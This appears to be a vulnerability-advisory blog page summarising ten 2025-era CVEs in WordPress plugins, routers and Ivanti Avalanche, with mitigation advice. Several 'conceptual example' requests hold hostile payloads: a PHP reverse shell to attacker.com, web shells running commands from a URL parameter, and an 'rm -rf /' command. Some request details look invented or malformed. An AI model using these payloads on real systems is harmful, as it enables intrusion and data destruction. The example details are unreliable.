Author: Ameeba

CVE-2025-1313: Privilege Escalation Vulnerability in Nokri – Job Board WordPress Theme
Overview

The Nokri – Job Board WordPress Theme for WordPress is exposed to a serious security vulnerability that could allow threat actors to escalate their privileges via account takeover. This vulnerability, designated as CVE-2025-1313, affects all versions of the theme up to and including 1.6.3. It’s a significant concern for any individual or organization that uses the Nokri – Job Board WordPress Theme, as it opens up the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-1313
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access and above)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Nokri – Job Board WordPress Theme | Up to and including 1.6.3

How the Exploit Works

The vulnerability stems from the plugin’s failure to properly validate a user’s identity prior to updating their details, such as the email address. An attacker with subscriber-level access could exploit this vulnerability by changing the email addresses of arbitrary users, including administrators. Subsequently, the attacker can leverage this change to reset the user’s password, thus gaining access to their account.

Conceptual Example Code

Here is a hypothetical example of how this vulnerability could be exploited, using a HTTP request:
```
POST /wp-admin/user-edit.php?user_id=1 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
user_email=attacker@example.com&_wpnonce=xxxxxx&updateuser=Update+User
```
In this example, the attacker is sending a POST request to the user-edit page of an administrator account (user_id=1). The attacker changes the administrator’s email to their own (attacker@example.com) and submits the form.

Mitigation Guidance

Users are recommended to apply the vendor patch to mitigate this vulnerability. In the absence of such a patch, a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation. However, these options should not be considered a long-term solution, as they do not address the underlying vulnerability.
July 18, 2025
CVE-2025-6057: Arbitrary File Upload Vulnerability in WPBookit WordPress Plugin
Overview

This blog post delves into a significant security vulnerability, CVE-2025-6057, which affects the WPBookit plugin for WordPress, a widely used content management platform. This vulnerability stems from missing file type validation in the plugin, allowing potential attackers to upload arbitrary files. Because WordPress powers nearly 40% of all websites globally, this vulnerability could have widespread implications, potentially compromising systems and leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6057
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPBookit WordPress Plugin | Up to and including 1.0.4

How the Exploit Works

The vulnerability lies in the handle_image_upload() function of the WPBookit plugin. This function lacks proper file type validation, allowing authenticated users with subscriber-level access and above to upload arbitrary files to the server. Consequently, an attacker could upload harmful files, such as scripts, which can be executed on the server to potentially compromise the system or leak sensitive data.

Conceptual Example Code

Here is a conceptual example of how this vulnerability could be exploited using an HTTP POST request to upload a malicious PHP file:
```
POST /wp-content/plugins/wpbookit/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fileToUpload"; filename="malicious.php"
Content-Type: application/x-php
<?php exec('/bin/bash -i >& /dev/tcp/attacker.com/8080 0>&1'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the malicious.php file contains a payload that, when executed, opens a reverse shell to the attacker’s server, giving them control over the target system.

Mitigation Guidance

The recommended course of action to mitigate this issue is to apply the vendor patch. If it’s not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could provide temporary mitigation by blocking or alerting on suspicious file uploads. Regularly updating all software and plugins to their latest versions is a general good practice to prevent such vulnerabilities.
July 18, 2025
CVE-2025-7460: Critical Vulnerability in TOTOLINK T6 leads to Buffer Overflow
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability in TOTOLINK T6 4.1.5cu.748_B20211015. This vulnerability, classified as CVE-2025-7460, is of paramount importance due to its potential to compromise systems and lead to data leakage. It affects the HTTP POST Request Handler component of TOTOLINK T6, specifically the function setWiFiAclRules. The vulnerability can be exploited remotely and has already been disclosed to the public, raising its threat level and making it a matter of urgency for users of the affected software to address.

Vulnerability Summary

CVE ID: CVE-2025-7460
Severity: Critical, CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK T6 | 4.1.5cu.748_B20211015

How the Exploit Works

The vulnerability in TOTOLINK T6 arises from a buffer overflow condition in the function setWiFiAclRules of the file /cgi-bin/cstecgi.cgi. This is triggered when the ‘mac’ argument is manipulated during an HTTP POST Request. A malicious actor can exploit this vulnerability by sending a specially crafted HTTP POST request that contains an excessively long ‘mac’ value. This overflow of data can cause the system to behave unpredictably, potentially allowing the attacker to execute arbitrary code and gain unauthorized access to the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"setWiFiAclRules": {
"mac": "00:00:00:00:00:00/../../../*[payload of excessive length]"
}
}
```
In the above example, the ‘mac’ field is filled with an excessively long payload, causing a buffer overflow and potentially triggering the vulnerability.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the patch provided by the vendor as soon as possible. In the absence of a patch or in the interim period before it can be applied, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation against potential attacks. However, these are stop-gap measures and do not provide a permanent solution to the vulnerability.
July 18, 2025
CVE-2025-52089: Remote Command Execution Vulnerability in TOTOLINK N300RB Firmware
Overview

The cybersecurity world constantly witnesses the emergence of new vulnerabilities that threaten the security and integrity of various systems. One such vulnerability, CVE-2025-52089, poses a significant threat to users of TOTOLINK N300RB firmware version 8.54. This firmware contains a hidden remote support feature that is protected by a static secret. Unfortunately, this feature can be exploited by an authenticated attacker to execute arbitrary Operating System (OS) commands with root privileges. The ability to execute these commands could potentially lead to a system compromise or data leakage, putting sensitive information at risk.

Vulnerability Summary

CVE ID: CVE-2025-52089
Severity: High (8.8)
Attack Vector: Remote
Privileges Required: High
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N300RB Firmware | Version 8.54

How the Exploit Works

An attacker who has successfully authenticated on the vulnerable system can exploit this vulnerability by sending specially crafted requests to the hidden remote support feature. Since this feature is protected by a static secret, the attacker can bypass the security measures and execute arbitrary OS commands with root privileges. This allows the attacker to gain complete control over the system and potentially access, modify, or delete sensitive data.

Conceptual Example Code

Given the nature of this vulnerability, an attacker might exploit it using a HTTP request like the following example:
```
POST /remote_support HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer static_secret
{ "os_command": "rm -rf /" }
```
In this example, the attacker sends a POST request to the `remote_support` endpoint, which is part of the hidden remote support feature. The `Authorization` header contains the static secret that protects this feature. The body of the request contains a JSON object with a property `os_command` that specifies an arbitrary OS command. In this case, the command `rm -rf /` is a dangerous Unix command that deletes all files from the root directory.

Mitigation

Users of the affected TOTOLINK N300RB firmware version are urged to apply the vendor patch as soon as possible to mitigate this vulnerability. In the interim, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can monitor network traffic for suspicious activity and block malicious requests, making it more difficult for an attacker to exploit this vulnerability.
July 18, 2025
CVE-2020-36849: Arbitrary File Upload Vulnerability in AIT CSV Import/Export Plugin for WordPress
Overview

CVE-2020-36849 is a critical vulnerability in the AIT CSV Import/Export Plugin for WordPress, specifically affecting versions up to and including 3.0.3. This plugin is widely used in the WordPress ecosystem for managing CSV data import and export. The vulnerability lies in a flaw in the file type validation process that could allow an attacker to upload arbitrary files to the site’s server. The severity of this issue is underlined by the fact that, if successfully exploited, it could lead to potential system compromise and data leakage, thereby posing a serious threat to the confidentiality, integrity, and availability of data.

Vulnerability Summary

CVE ID: CVE-2020-36849
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

AIT CSV Import/Export Plugin for WordPress | Up to and including 3.0.3

How the Exploit Works

The vulnerability stems from the lack of proper file type validation in the ‘/wp-content/plugins/ait-csv-import-export/admin/upload-handler.php’ script. This lack of validation allows an unauthorized attacker to upload arbitrary files, including malicious scripts, to the affected server. These scripts, when executed, could allow the attacker to potentially control the server remotely, leading to system compromise and potential data leakage.

Conceptual Example Code

The below HTTP request is a
conceptual
example of how an attacker could exploit this vulnerability. The attacker crafts a POST request that includes a malicious file in the body.
```
POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
Once the malicious file is uploaded to the server, the attacker can potentially execute the script, leading to remote code execution.

Mitigation Methods

It is highly recommended to apply the vendor patch as soon as possible. If it’s not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block suspicious activities and malicious payloads, providing an additional layer of security against the exploitation of this vulnerability.
July 18, 2025
CVE-2020-36847: Remote Code Execution Vulnerability in Simple-File-List WordPress Plugin
Overview

The Simple-File-List Plugin for WordPress, popular for file management among the WordPress community, has been found to contain a critical remote code execution vulnerability. Identified as CVE-2020-36847, this vulnerability poses a significant risk to any WordPress site using versions up to, and including, 4.2.2 of the plugin. Unauthenticated attackers can exploit this vulnerability to execute arbitrary code on the server, potentially compromising the system and leading to data leakage.
This vulnerability is of particular concern due to the high severity score of 9.8 assigned by CVSS, which reflects its potential impact on system integrity and confidentiality. The fact that this vulnerability can be exploited without the attacker requiring any prior authentication makes it all the more dangerous.

Vulnerability Summary

CVE ID: CVE-2020-36847
Severity: Critical (CVSS: 9.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Simple-File-List Plugin for WordPress | Up to and including 4.2.2

How the Exploit Works

The vulnerability lies in the ‘rename’ function of the Simple-File-List plugin. An unauthenticated attacker can exploit this function to rename a previously uploaded PHP file disguised with a .png extension to a .php extension. Once the malicious PHP file is successfully renamed, it can be executed on the server, leading to remote code execution.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request that an attacker might use to rename a malicious file:
```
POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
Host: vulnerable-site.com
fileOldName=malicious.png&fileNewName=malicious.php
```
In this request, `fileOldName` parameter is the name of the already uploaded malicious file disguised as a .png file and `fileNewName` is the new name with a .php extension. After this request, the server will rename the file, and the PHP code can be executed remotely.

Mitigation Guidance

To mitigate this vulnerability, it is strongly advised to apply the vendor’s patch. If for some reason the patch cannot be applied promptly, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on HTTP requests that attempt to rename files with a .php extension.
July 18, 2025
CVE-2025-7434: Critical Buffer Overflow Vulnerability in Tenda FH451
Overview

The cybersecurity community has recently identified a critical vulnerability in Tenda FH451 devices up to version 1.0.0.9. This vulnerability, identified as CVE-2025-7434, exists within the POST Request Handler component, specifically within the fromAddressNat function of the /goform/addressNat file. The exploitation of this vulnerability could lead to a stack-based buffer overflow, potentially allowing an attacker to compromise the system or leak sensitive data. Given the severity of this vulnerability, it has become crucial for users of the affected devices to understand its implications and take immediate steps towards mitigation.

Vulnerability Summary

CVE ID: CVE-2025-7434
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | Up to 1.0.0.9

How the Exploit Works

The vulnerability originates from the manipulation of the ‘page’ argument in the fromAddressNat function of the /goform/addressNat file. This manipulation could lead to a stack-based buffer overflow, which could potentially allow an attacker to execute arbitrary code or crash the device, leading to a denial of service. The exploit is network-based, indicating that the attacker can launch the attack remotely without requiring any user interaction.

Conceptual Example Code

Here is a conceptual HTTP POST request example that an attacker might use to exploit the vulnerability:
```
POST /goform/addressNat HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
page=[Buffer-Overflow-Payload]
```
The [Buffer-Overflow-Payload] in the above POST request represents a malicious input designed to overflow the stack buffer, leading to the potential execution of arbitrary code.

Mitigation

Users of the affected Tenda FH451 devices are strongly recommended to apply the vendor-supplied patch to mitigate the vulnerability. If a patch cannot be immediately applied, users may also consider implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help identify and block attempts to exploit this vulnerability. Additionally, monitoring network traffic and logging any suspicious activity can provide early warning signs of a possible attack.
July 18, 2025
CVE-2025-6058: Critical Arbitrary File Upload Vulnerability in WPBookit WordPress Plugin
Overview

A severe vulnerability has been discovered in the WPBookit plugin for WordPress, a widely used platform for website creation and management. This vulnerability, designated as CVE-2025-6058, allows unauthenticated attackers to upload arbitrary files on a site’s server, possibly leading to remote code execution. Given WordPress’s popularity and the widespread use of its plugins across various industries, this vulnerability could potentially impact a significant number of websites globally if not mitigated promptly.

Vulnerability Summary

CVE ID: CVE-2025-6058
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPBookit Plugin for WordPress | Versions up to and including 1.0.4

How the Exploit Works

The exploit takes advantage of a flaw in the image_upload_handle() function of the WPBookit WordPress plugin. This function, which is hooked via the ‘add_booking_type’ route, lacks proper file type validation. As a result, an attacker can upload arbitrary files, including malicious scripts, under the guise of innocent file types. Once uploaded, these files reside on the server and can potentially be executed remotely, compromising the system.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might exploit it through an HTTP request like the one shown below:
```
POST /add_booking_type HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gW
```
In this conceptual example, the attacker attempts to upload a PHP file that triggers a system command when accessed with a specific parameter, leading to remote code execution.

Mitigation

Users should apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking suspicious file uploads based on file type or content.
July 18, 2025
CVE-2025-7423: Critical Vulnerability in Tenda O3V2 Potentially Leading to System Compromise
Overview

A critical vulnerability, referred to as CVE-2025-7423, has been identified in Tenda O3V2 1.0.0.12(3880). This vulnerability is particularly concerning due to its potential impact on the integrity of the affected system, and the fact that it can be exploited remotely. The risks include potential system compromise or data leakage, posing a serious threat to organizations that have not yet applied the vendor patch or implemented a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation method.

Vulnerability Summary

CVE ID: CVE-2025-7423
Severity: Critical (8.8/10)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda O3V2 | 1.0.0.12(3880)

How the Exploit Works

The vulnerability lies in the file /goform/setWrlFilterList, particularly in the formWifiMacFilterSet function of the httpd component. The vulnerability is triggered when an attacker manipulates the argument macList. This manipulation leads to a stack-based buffer overflow, which can then be exploited to execute arbitrary code or cause a denial of service, depending on the nature of the overflow and the data being processed.

Conceptual Example Code

An illustration of how this vulnerability might be exploited using an HTTP request might look something like this:
```
POST /goform/setWrlFilterList HTTP/1.1
Host: targetIPaddress
Content-Type: application/x-www-form-urlencoded
macList=aa:bb:cc:dd:ee:ff%00[arbitrary_code_or_overflow_trigger]
```
In this example, ‘aa:bb:cc:dd:ee:ff’ represents a MAC address, and the ‘%00’ represents a null byte that begins the buffer overflow. ‘[arbitrary_code_or_overflow_trigger] represents the malicious code or the trigger for the buffer overflow.
Remember, this is a conceptual example and should not be used for malicious purposes. Always follow ethical practices when dealing with cybersecurity vulnerabilities.
July 18, 2025
CVE-2023-38036: Critical Buffer Overflow Vulnerability in Ivanti Avalanche Manager
Overview

Today, we’re taking a closer look at a critical security vulnerability identified as CVE-2023-38036. This vulnerability exists in the Ivanti Avalanche Manager software versions before 6.4.1. It’s a serious matter because it could potentially allow an unauthenticated attacker to create a buffer overflow, leading to service disruption, or worse, arbitrary code execution. Considering the widespread use of Ivanti Avalanche Manager, this vulnerability poses significant risks to countless systems and networks worldwide and requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2023-38036
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Ivanti Avalanche Manager | Before 6.4.1

How the Exploit Works

This vulnerability arises from a buffer overflow condition within the Ivanti Avalanche Manager. The software fails to properly validate the length of user-supplied data before copying it to an insufficiently sized memory buffer. An unauthenticated attacker can exploit this vulnerability by sending specially crafted data to the affected system. This could trigger a buffer overflow condition, leading to service disruption or arbitrary code execution.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is not a functioning exploit but a simplified representation to provide a clearer understanding of the vulnerability.
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "A"*5000 }
```
In this example, the attacker sends a JSON payload filled with a string of “A” characters. This string is longer than the memory buffer can handle, causing an overflow and potentially allowing the attacker to execute arbitrary code.

How to Mitigate CVE-2023-38036

To mitigate this vulnerability, users of Ivanti Avalanche Manager should immediately upgrade to version 6.4.1 or later, as this version patches the identified vulnerability. For those who cannot upgrade immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure. However, these are not definitive solutions and are vulnerable to bypass attempts. Therefore, a patch should be applied as soon as feasible.
In the long term, it’s crucial to follow best practices for secure coding to prevent such vulnerabilities. Regularly conducting security audits and using automated tools to detect potential buffer overflow vulnerabilities can significantly reduce the risks associated with these types of security flaws.
July 18, 2025